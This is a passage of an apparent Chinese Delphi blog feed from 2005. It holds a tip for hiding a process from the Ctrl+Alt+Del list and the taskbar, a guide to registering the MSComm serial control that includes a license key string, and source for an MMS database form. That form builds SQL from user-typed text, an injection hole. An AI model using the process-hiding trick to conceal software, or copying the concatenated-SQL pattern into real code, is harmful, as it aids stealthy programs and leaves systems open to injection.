<P><STRONG>◇[DELPHI]程序不出现在ALT+CTRL+DEL</STRONG> <BR>在implementation后添加声明: <BR>function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external ''KERNEL32.DLL''; <BR>RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 <BR>RegisterServiceProcess(GetCurrentProcessID, 0);//显示 <BR>用ALT+DEL+CTRL看不见 </P>
<P><STRONG>◇[DELPHI]程序不出现在任务栏</STRONG> <BR>uses windows <BR>var <BR>ExtendedStyle : Integer; <BR>begin <BR>Application.Initialize;</P>
<P>&nbsp;</P>
<P>摘:http://dev.csdn.net/article/76/76085.shtm</P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=28" /> 
	  <id>http://www.openx.cn/default.asp?id=28</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Delphi 中TMsComm控件使用指南]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-15T18:55:50+08:00</updated>
	  <published>2005-09-15T18:55:50+08:00</published>
		  <summary type="html"><![CDATA[<DIV align=center><B><FONT face="Times New Roman">Delphi </FONT></B><B>中</B><B><FONT face="Times New Roman">TMsComm</FONT></B><B>控件使用指南</B></DIV>
<P align=center><B></B><B>
<DIV></DIV>
<P></B>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3>l</FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=3><B>注册<FONT face="Times New Roman">TMsComm</FONT></B><B>控件 
<DIV></DIV>
<P></B></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT face="Times New Roman"><FONT size=3> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">1.</FONT>将<FONT face="Times New Roman">Mscomm.srg, Mscomm32.ocx,Mscomm32.dep</FONT>三个文件复制到系统文件夹中<FONT face="Times New Roman">C:\winnt\system32\</FONT>。 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">2.</FONT>用<FONT face="Times New Roman">Windows</FONT>下的注册工具<FONT face="Times New Roman">regsvr32</FONT>注册该<FONT face="Times New Roman">OCX</FONT>控件，点击“开始”<FONT face="Times New Roman">-&gt;"</FONT>运行<FONT face="Times New Roman">"</FONT>，再在中填入（假设操作安装在<FONT face="Times New Roman">C</FONT>盘，<FONT face="Times New Roman">WIN2000</FONT>）： 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT face="Times New Roman"><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Regsvr32&nbsp; C:\winnt\system32\Mscomm32.ocx 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">3.</FONT>在注册表中手工新建一个主键项：先在点击“开始”<FONT face="Times New Roman">-&gt;"</FONT>运行<FONT face="Times New Roman">"</FONT>，再在中填入<FONT face="Times New Roman">regedit</FONT>命令打开注册表，找到<FONT face="Times New Roman">HKEY_CLASSES_ROOT\Licenses</FONT>，在其中添加主键 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">4250E830-6AC2-11cf-8ADB-00AA00C00905</FONT>　并将内容设置为：<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<DIV><FONT face="Times New Roman" size=3>kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun</FONT></DIV>
<P><FONT face="Times New Roman"><FONT size=3> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3>l</FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=3><B>引入<FONT face="Times New Roman">TMSComm</FONT></B><B>控件 
<DIV></DIV>
<P></B></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT face="Times New Roman"><FONT size=3> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">&nbsp;&nbsp; </FONT>（<FONT face="Times New Roman">1</FONT>）进入<FONT face="Times New Roman">Delphi </FONT>编程环境下，在菜单项中选中<FONT face="Times New Roman">Component/Import ActiveX</FONT>选项，出现<FONT face="Times New Roman">ActiveX</FONT>控件导入窗口； 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">&nbsp;&nbsp; </FONT>（<FONT face="Times New Roman">2</FONT>）在其中选中<FONT face="Times New Roman">Microsoft Comm Control 6.0(Version 1.1),</FONT>并按需要选定<FONT face="Times New Roman">Palette pages</FONT>、<FONT face="Times New Roman">unit dir name</FONT>、<FONT face="Times New Roman">Search path</FONT>值（一般取默认值），最后选择<FONT face="Times New Roman">Install</FONT>按钮进行安装。即可将<FONT face="Times New Roman">MSComm</FONT>控件引入到<FONT face="Times New Roman">Delphi </FONT>中。 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">&nbsp;&nbsp; </FONT>（<FONT face="Times New Roman">3</FONT>）在编程使用中，直接打开<FONT face="Times New Roman">ActiveX</FONT>控件，选取<FONT face="Times New Roman">TMSComm</FONT>控件，放在窗体上，设置其属性即可。其使用方法与<FONT face="Times New Roman">Delphi</FONT>其它控件相同<FONT face="Times New Roman">. 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT face="Times New Roman"><FONT size=3> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3>l</FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=3><B><FONT face="Times New Roman">TMSComm</FONT></B><B>控件的主要属性及事件 
<DIV></DIV>
<P></B></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT face="Times New Roman"><FONT size=3> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">MSComm</FONT>控件有<FONT face="Times New Roman">27</FONT>个属性，其中一部分可缺省设置为不用，常用的属性如下<FONT face="Times New Roman">: 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(1) CommPort:</FONT>设置串行口选择。缺省值为<FONT face="Times New Roman">1</FONT>，选择为<FONT face="Times New Roman">COM1;</FONT>若赋值为<FONT face="Times New Roman">2</FONT>，则选择<FONT face="Times New Roman">COM2</FONT>。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(2) PortOpen:</FONT>设置通信端的状态。设置为<FONT face="Times New Roman">True</FONT>时，打开端口<FONT face="Times New Roman">;</FONT>设置为<FONT face="Times New Roman">False</FONT>时，关闭端口并清除接受和发送缓冲区。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(3) Settings:</FONT>设置通信时的波特率、奇偶校验、停止位参数。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(4) Inputlen:</FONT>设置每次从接受缓冲区读却的字符个数。缺省值为<FONT face="Times New Roman">0</FONT>，表示将读取接受缓冲区中全部内容<FONT face="Times New Roman">;</FONT>若设置值为<FONT face="Times New Roman">n</FONT>，表示每次将读取接受缓冲区中的<FONT face="Times New Roman">n</FONT>个字符。 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(5) InputMode:</FONT>设置接收数据的类型。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(6) InBufferCount:</FONT>设置返回接受缓冲区中等待被读取的字符个数。初始化程序时，<FONT face="Times New Roman">InBufferCount</FONT>设置值为<FONT face="Times New Roman">0</FONT>，表示清除接受缓冲区。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(7) OutBufferCount:</FONT>设置返回发送缓冲区中等待发送的字符个数。设置值为<FONT face="Times New Roman">0</FONT>时，表示清除发送缓冲区。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(8) InBufferSize:</FONT>设置接受缓冲区中的长度，缺省值为<FONT face="Times New Roman">1024</FONT>字节。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(9) OutBufferSize:</FONT>设置发送缓冲区中的长度，缺省值为<FONT face="Times New Roman">512</FONT>字节。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(10) Rthreshold:</FONT>设置表示在触发<FONT face="Times New Roman">OnComm</FONT>事件之前接收缓冲区允许有的字符数。缺省值为<FONT face="Times New Roman">0</FONT>，表示即使接收缓冲区有字符时，也不会触发<FONT face="Times New Roman">OnComm</FONT>事件<FONT face="Times New Roman">;</FONT>设置值为<FONT face="Times New Roman">n</FONT>时，表示接收缓冲区每有<FONT face="Times New Roman">n</FONT>个字符时，就会触发一次<FONT face="Times New Roman">OnComm</FONT>事件。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(11) Sthreshold:</FONT>设置表示在触发<FONT face="Times New Roman">OnComm</FONT>事件之前发送缓冲区允许有的字符数。缺省值为<FONT face="Times New Roman">0</FONT>，表示不触发<FONT face="Times New Roman">OnComm</FONT>事件<FONT face="Times New Roman">;</FONT>设置值为<FONT face="Times New Roman">n</FONT>时，表示发送缓冲区每有<FONT face="Times New Roman">n</FONT>个字符时，就会触发一次<FONT face="Times New Roman">OnComm</FONT>事件。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(12) DTREnable:</FONT>设置<FONT face="Times New Roman">DTR</FONT>的有效性。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(13) RTSEnable:</FONT>设置<FONT face="Times New Roman">RTS</FONT>的有效性。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(14) Input:</FONT>从串口读取数据。<FONT face="Times New Roman"> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3><FONT face="Times New Roman">(15) Output:</FONT>向串口写入数据。 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT face="Times New Roman"><FONT size=3> 
<DIV></DIV>
<P></FONT></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3>如果在通信过程中发生错误或事件，就会触发<FONT face="Times New Roman">OnComm</FONT>事件，并由<FONT face="Times New Roman">CommEvent</FONT>属性代码反映错误类型，在通信程序的设计中可根据该属性值来执行不同的操作。<FONT face="Times New Roman">CommEvent</FONT>属性值及其含义如下： 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3>　　（<FONT face="Times New Roman">1</FONT>）<FONT face="Times New Roman">ComEvSend</FONT>：值为<FONT face="Times New Roman">1</FONT>，发送缓冲区的内容少于<FONT face="Times New Roman">SThreshold</FONT>指定的值。 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3>　　（<FONT face="Times New Roman">2</FONT>）<FONT face="Times New Roman">ComEvReceive</FONT>：值为<FONT face="Times New Roman">2</FONT>，接收缓冲区内字符数达到<FONT face="Times New Roman">RThreshold</FONT>指定的值。 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3>　　（<FONT face="Times New Roman">3</FONT>）<FONT face="Times New Roman">ComEvFrame</FONT>：值为<FONT face="Times New Roman">1004</FONT>，硬件检测到帧错误。 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3>　　（<FONT face="Times New Roman">4</FONT>）<FONT face="Times New Roman">ComEvRxOver</FONT>：值为<FONT face="Times New Roman">1008</FONT>，接收缓冲区溢出。 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3>　　（<FONT face="Times New Roman">5</FONT>）<FONT face="Times New Roman">ComEvTxFull</FONT>：值为<FONT face="Times New Roman">1010</FONT>，发送缓冲区溢出。 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<P><FONT size=3>　　（<FONT face="Times New Roman">6</FONT>）<FONT face="Times New Roman">ComEvRxParity</FONT>：值为<FONT face="Times New Roman">1009</FONT>，奇偶校验错误。 
<DIV></DIV>
<P></FONT>&nbsp;</P>
<DIV></DIV>
<DIV><FONT size=3>（<FONT face="Times New Roman">7</FONT>）<FONT face="Times New Roman">ComEvEOF</FONT>：值为<FONT face="Times New Roman">7</FONT>，接收数据中出现文件尾（<FONT face="Times New Roman">ASCII</FONT>码为<FONT face="Times New Roman">26</FONT>）字符</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>摘:http://dev.csdn.net/article/74/74290.shtm</DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=27" /> 
	  <id>http://www.openx.cn/default.asp?id=27</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[精心打造的New MMS Form]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-15T18:54:46+08:00</updated>
	  <published>2005-09-15T18:54:46+08:00</published>
		  <summary type="html"><![CDATA[<SPAN id=ArticleContent1_ArticleContent1_lblContent>&nbsp;
<P>//功能：添加新的彩信数据到数据库</P>
<P>//作者：陈鹏</P>
<P>//完成日期：2005－80－31</P>
<P>unit newmmsForlibrary;</P>
<P>interface</P>
<P>uses<BR>&nbsp; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<BR>&nbsp; Dialogs, ImgList, xpWindow, Mask, RzEdit, RzSpnEdt, StdCtrls, RzCmboBx,<BR>&nbsp; ExtCtrls, xpPanel, xpBitBtn, VirtualTrees, RzButton, RzRadChk,database,<BR>&nbsp; Buttons,StrUtils;</P>
<P>type<BR>&nbsp; TNewMMS = class(TForm)<BR>&nbsp;&nbsp;&nbsp; CancelBtn: TxpBitBtn;<BR>&nbsp;&nbsp;&nbsp; RightPanel: TBackPanel;<BR>&nbsp;&nbsp;&nbsp; lblTitle: TLabel;<BR>&nbsp;&nbsp;&nbsp; lblSubject: TLabel;<BR>&nbsp;&nbsp;&nbsp; lblType: TLabel;<BR>&nbsp;&nbsp;&nbsp; edtSubject: TEdit;<BR>&nbsp;&nbsp;&nbsp; RCBType: TRzComboBox;<BR>&nbsp;&nbsp;&nbsp; xpWindow1: TxpWindow;<BR>&nbsp;&nbsp;&nbsp; ilImages: TImageList;<BR>&nbsp;&nbsp;&nbsp; imgNewMsg: TImage;<BR>&nbsp;&nbsp;&nbsp; VSTreeResource: TVirtualStringTree;<BR>&nbsp;&nbsp;&nbsp; RzRadioButton1: TRzRadioButton;<BR>&nbsp;&nbsp;&nbsp; RzRadioButton2: TRzRadioButton;<BR>&nbsp;&nbsp;&nbsp; lblSmil: TLabel;<BR>&nbsp;&nbsp;&nbsp; XpBtnAdd: TxpBitBtn;<BR>&nbsp;&nbsp;&nbsp; XpBtnDelete: TxpBitBtn;<BR>&nbsp;&nbsp;&nbsp; ResourceAdd:TxpBitBtn;<BR>&nbsp;&nbsp;&nbsp; lblSize: TLabel;<BR>&nbsp;&nbsp;&nbsp; edtsize: TEdit;<BR>&nbsp;&nbsp;&nbsp; ilTreeImage: TImageList;<BR>&nbsp;&nbsp;&nbsp; dlgOpenAdd: TOpenDialog;<BR>&nbsp;&nbsp;&nbsp; procedure CancelBtnClick(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; procedure XpBtnAddClick(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; procedure FormCreate(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; procedure FormClose(Sender: TObject; var Action: TCloseAction);<BR>&nbsp;&nbsp;&nbsp; procedure ResourceAddClick(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; procedure VSTreeResourceGetText(Sender: TBaseVirtualTree;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var CellText: WideString);<BR>&nbsp;&nbsp;&nbsp; procedure XpBtnDeleteClick(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; procedure FormDestroy(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; procedure edtSubjectMouseMove(Sender: TObject; Shift: TShiftState; X,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Y: Integer);<BR>&nbsp; private<BR>&nbsp;&nbsp;&nbsp; function getFilenameFromFullpath(s:string):string;<BR>&nbsp;&nbsp;&nbsp; function getFileSize(sFileName:string):Longint;<BR>&nbsp;&nbsp;&nbsp; procedure getMMSContentType();<BR>&nbsp; public<BR>&nbsp;&nbsp;&nbsp; totalSize:Longint;<BR>&nbsp;&nbsp;&nbsp; Stringlist:TStringList;<BR>&nbsp;&nbsp;&nbsp; procedure RefreshTree();<BR>&nbsp; end;</P>
<P>type<BR>&nbsp; PResource=^TResource;<BR>&nbsp; TResource=record&nbsp; //彩信结构（好像没使用ClassID ，哈哈）<BR>&nbsp;&nbsp;&nbsp; classID:string;<BR>&nbsp;&nbsp;&nbsp; FullPath:string;<BR>&nbsp; end;</P>
<P><BR>var<BR>&nbsp; NewMMS: TNewMMS;</P>
<P><BR>implementation<BR>uses<BR>&nbsp;mmslibrarypage;</P>
<P>{$R *.dfm}</P>
<P>//功能：刷新树</P>
<P>procedure TNewMMS.RefreshTree();<BR>begin<BR>&nbsp; VSTreeResource.RootNodeCount:=Stringlist.Count;<BR>&nbsp; VSTreeResource.Refresh;<BR>end;</P>
<P>procedure TNewMMS.CancelBtnClick(Sender: TObject);<BR>begin<BR>&nbsp; close;<BR>end;</P>
<P>procedure TNewMMS.XpBtnAddClick(Sender: TObject);<BR>var<BR>&nbsp; sql:string;<BR>&nbsp; smiltype:string;<BR>begin<BR>&nbsp; if RzRadioButton1.Checked=true then<BR>&nbsp;&nbsp;&nbsp;&nbsp; smiltype:='Smil 1.0'<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp; smiltype:='Smil 2.0';</P>
<P>//&nbsp; sqL:='insert into mmslibrary(MMS_ID,MMS_Type,MMS_Smil,MMS_Size,MMS_Subject,MMS_Binary) values'+<BR>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '("'+formatDatetime('yyyymmdd_hh:mm:ss', now)+'","'+RCbtype.Text+'","'+smiltype+'",'+edtsize.Text+',"'+<BR>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; edtIpSubject.Text+'","'+'test")';</P>
<P>//添加数据到数据库，但最后一项（二进制内存块）&nbsp;还没添加</P>
<P>&nbsp;sqL:='insert into mmslibrary(MMS_ID,MMS_Type,MMS_Smil,MMS_Size,MMS_Subject) values'+<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '("'+formatDatetime('yyyy-mm-dd hh:mm:ss', now)+'","'+RCbtype.Text+'","'+smiltype+'",'+inttostr(totalSize)+',"'+ edtSubject.Text+'")';</P>
<P>&nbsp; currentdatabase.ExecuteSqlNoQurey(sql);&nbsp;//连接数据库，就是这么容易<BR>&nbsp; Close;<BR>&nbsp; ModalResult:=mrOk;//据此，mmslibraryform才能刷新树。这也曾是一个难题，哈哈<BR>end;</P>
<P>procedure TNewMMS.FormCreate(Sender: TObject);<BR>begin<BR>&nbsp; currentdatabase.databases.GetByIndex(0);<BR>&nbsp; Stringlist:=Tstringlist.Create;<BR>&nbsp; VSTreeResource.NodeDataSize:=SizeOf(TResource);<BR>&nbsp; VSTreeResource.Header.Columns[0].Width:=VSTreeResource.ClientWidth;<BR>&nbsp; totalSize:=0; //用户选择彩信资源的文件总大小<BR>end;</P>
<P>procedure TNewMMS.FormClose(Sender: TObject; var Action: TCloseAction);<BR>begin<BR>&nbsp; Action:=caFree;<BR>end;</P>
<P>procedure TNewMMS.ResourceAddClick(Sender: TObject);<BR>var<BR>&nbsp; temp:Longint;<BR>begin<BR>&nbsp; dlgOpenAdd.Filter:='text files(*.txt;*.html;*.htm)|*.txt;*.html;*.htm|pictual files(*.bmp;*.jpg;*.gif)|*.bmp;*.jpg;*.gif|sound files(*.wma;*.mp3)|*.wma;*.mp3|video files(*.avi;*.mp4)|*.avi;*.mp4|';</P>
<P>&nbsp; if&nbsp; dlgOpenAdd.Execute then<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; temp:=totalSize+getFileSize(dlgOpenAdd.FileName);</P>
<P>&nbsp;&nbsp;&nbsp; if temp&lt;102400 then&nbsp; //判断文件总大小不能超过100k，否则不予添加<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; totalSize:=temp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Stringlist.Add(dlgOpenAdd.FileName);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; edtsize.Text:=IntToStr(totalSize)+' Byte';<BR>&nbsp;&nbsp;&nbsp; end<BR>&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit;<BR>&nbsp; end;<BR>&nbsp; RefreshTree;</P>
<P>&nbsp; getMMSContentType;</P>
<P>end;</P>
<P>//自写函数，根据用户选择的文件，自动判断MMS的Type，虽长且繁，但好维护</P>
<P>procedure TNewMMS.getMMSContentType();&nbsp; <BR>var<BR>&nbsp; i:Integer;<BR>&nbsp; extendname:string;<BR>&nbsp; text,picture,sound,video:Integer;<BR>begin<BR>&nbsp; text:=0;<BR>&nbsp; picture:=0;<BR>&nbsp; sound:=0;<BR>&nbsp; video:=0; </P>
<P>&nbsp; if Stringlist.Count=0 then&nbsp; RCBType.ItemIndex:=0;</P>
<P>&nbsp; for i := 0 to Stringlist.Count - 1 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; extendname:=LowerCase( RightStr(Trim(Stringlist.Strings[i]),3));<BR>&nbsp;&nbsp;&nbsp; if (extendname='txt') or (extendname='htm') or (extendname='tml') then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; text:=text+1;<BR>&nbsp;&nbsp;&nbsp; if (extendname='bmp') or (extendname='jpg') or (extendname='gif') then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; picture:=picture+1;<BR>&nbsp;&nbsp;&nbsp; if (extendname='wma') or (extendname='mp3') then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sound:=sound+1;<BR>&nbsp;&nbsp;&nbsp; if (extendname='avi') or (extendname='mp4') then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; video:=video+1;<BR>&nbsp; end;</P>
<P>&nbsp; if (text&gt;0) and (picture=0) and (sound=0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=0;</P>
<P>&nbsp; if (text=0) and (picture&gt;0) and (sound=0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=1;</P>
<P>&nbsp; if (text&gt;0) and (picture&gt;0) and (sound=0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=2;</P>
<P>&nbsp; if (text=0) and (picture=0) and (sound&gt;0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=3;</P>
<P>&nbsp; if (text&gt;0) and (picture=0) and (sound&gt;0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=4;</P>
<P>&nbsp; if (text=0) and (picture&gt;0) and (sound&gt;0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=5;</P>
<P>&nbsp; if (text&gt;0) and (picture&gt;0) and (sound&gt;0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=6;</P>
<P>&nbsp; if (text=0) and (picture=0) and (sound=0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=7;</P>
<P>&nbsp; if (text&gt;0) and (picture=0) and (sound=0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=8;</P>
<P>&nbsp; if (text=0) and (picture&gt;0) and (sound=0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=9;</P>
<P>&nbsp; if (text&gt;0) and (picture&gt;0) and (sound=0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=10;</P>
<P>&nbsp; if (text=0) and (picture=0) and (sound&gt;0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=11;</P>
<P>&nbsp; if (text&gt;0) and (picture=0) and (sound&gt;0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=12;</P>
<P>&nbsp; if (text=0) and (picture&gt;0) and (sound&gt;0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=13;</P>
<P>&nbsp; if (text&gt;0) and (picture&gt;0) and (sound&gt;0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=14;</P>
<P>end;</P>
<P>//自写函数，获取文件的大小，值为Byte，故数据类型选择longint</P>
<P>function TNewMMS.getFileSize(sFileName:string):Longint;<BR>var<BR>&nbsp; Attrs: Word;<BR>&nbsp; f: file of Byte;<BR>&nbsp; size: Longint;<BR>begin<BR>&nbsp; Attrs := FileGetAttr(sFileName);<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; AssignFile(f, sFileName);<BR>&nbsp;&nbsp;&nbsp; Reset(f);<BR>&nbsp;&nbsp;&nbsp; size := FileSize(f);<BR>&nbsp; finally<BR>&nbsp;&nbsp;&nbsp; CloseFile(f);<BR>&nbsp; end;<BR>&nbsp; result:=size;<BR>end;</P>
<P><BR>procedure TNewMMS.VSTreeResourceGetText(Sender: TBaseVirtualTree;<BR>&nbsp; Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType;<BR>&nbsp; var CellText: WideString);<BR>var<BR>&nbsp; i:Integer;<BR>begin<BR>&nbsp; for I := 0 to Stringlist.Count - 1 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; case Column of<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0: CellText:=getFilenameFromFullpath(Stringlist[node.index]);<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;<BR>end;</P>
<P>//自写函数，根据文件的绝对路径，得到包括了扩展名的文件名</P>
<P>function TNewMMS.getFilenameFromFullpath(s:string):string;<BR>var<BR>&nbsp; i:Integer;<BR>&nbsp; temp:string;<BR>begin<BR>&nbsp; temp:=trim(s);<BR>&nbsp; i:=Pos('\',temp);<BR>&nbsp; while i&lt;&gt;0 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; temp:=copy(temp,i+1,StrLen(PAnsiChar(temp))-i);<BR>&nbsp;&nbsp;&nbsp; i:=Pos('\',temp);<BR>&nbsp; end;<BR>&nbsp; result:=temp;<BR>end;</P>
<P>procedure TNewMMS.XpBtnDeleteClick(Sender: TObject);<BR>var<BR>&nbsp; node:PVirtualNode;<BR>begin<BR>&nbsp; if VSTreeResource.FocusedNode=nil then&nbsp; Exit;</P>
<P>&nbsp; node:=VSTreeResource.FocusedNode;</P>
<P>&nbsp; totalSize:=totalSize-getFileSize(Stringlist.Strings[node.index]);<BR>&nbsp; edtsize.Text:=IntToStr(totalSize)+' Byte';</P>
<P>&nbsp; Stringlist.Delete(node.Index);<BR>&nbsp; RefreshTree;</P>
<P>&nbsp; getMMSContentType;</P>
<P>end;</P>
